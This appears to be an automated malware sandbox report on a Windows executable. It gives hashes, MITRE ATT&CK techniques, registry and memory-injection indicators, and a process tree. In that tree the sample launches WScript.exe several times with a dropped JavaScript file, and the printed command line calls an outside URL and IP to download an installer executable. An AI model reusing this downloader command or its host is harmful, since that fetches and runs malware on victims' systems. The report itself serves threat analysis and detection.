b3056c449dafe32a7546e3ded8d11967262415b0625d7e8870901f66fcdb3a95

General

Target

faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe
Size

184KB
MD5

faaa0eeb61294a96446a35d917a0cdaa
SHA1

3721b35068748aa18f47bb29acfe539b5f8ec091
SHA256

b3056c449dafe32a7546e3ded8d11967262415b0625d7e8870901f66fcdb3a95
SHA512

5ef3e906f3889532eac37f10f322317ad5918f81e3081e5db424c6585c9d2cfa5e25edac62ee1c7467f7e932a73c14d37e0541a14dbf4eaaefa1367732120190
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3c:/7BSH8zUB+nGESaaRvoB7FJNndnB

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
8	4304	WScript.exe
23	3120	WScript.exe
31	4764	WScript.exe
46	4420	WScript.exe
48	3972	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2336 wrote to memory of 4304	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	82
PID 2336 wrote to memory of 4304	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	82
PID 2336 wrote to memory of 4304	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	82
PID 2336 wrote to memory of 3120	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	88
PID 2336 wrote to memory of 3120	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	88
PID 2336 wrote to memory of 3120	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	88
PID 2336 wrote to memory of 4764	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	91
PID 2336 wrote to memory of 4764	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	91
PID 2336 wrote to memory of 4764	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	91
PID 2336 wrote to memory of 4420	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	94
PID 2336 wrote to memory of 4420	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	94
PID 2336 wrote to memory of 4420	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	94
PID 2336 wrote to memory of 3972	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	95
PID 2336 wrote to memory of 3972	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	95
PID 2336 wrote to memory of 3972	2336	faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe	95

C:\Users\Admin\AppData\Local\Temp\faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\faaa0eeb61294a96446a35d917a0cdaa_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf977D.js" http://www.djapp.info/?domain=TpTMQvsxZQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf977D.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4304
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf977D.js" http://www.djapp.info/?domain=TpTMQvsxZQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf977D.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3120
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf977D.js" http://www.djapp.info/?domain=TpTMQvsxZQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf977D.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4764
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf977D.js" http://www.djapp.info/?domain=TpTMQvsxZQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf977D.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4420
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf977D.js" http://www.djapp.info/?domain=TpTMQvsxZQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf977D.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf977D.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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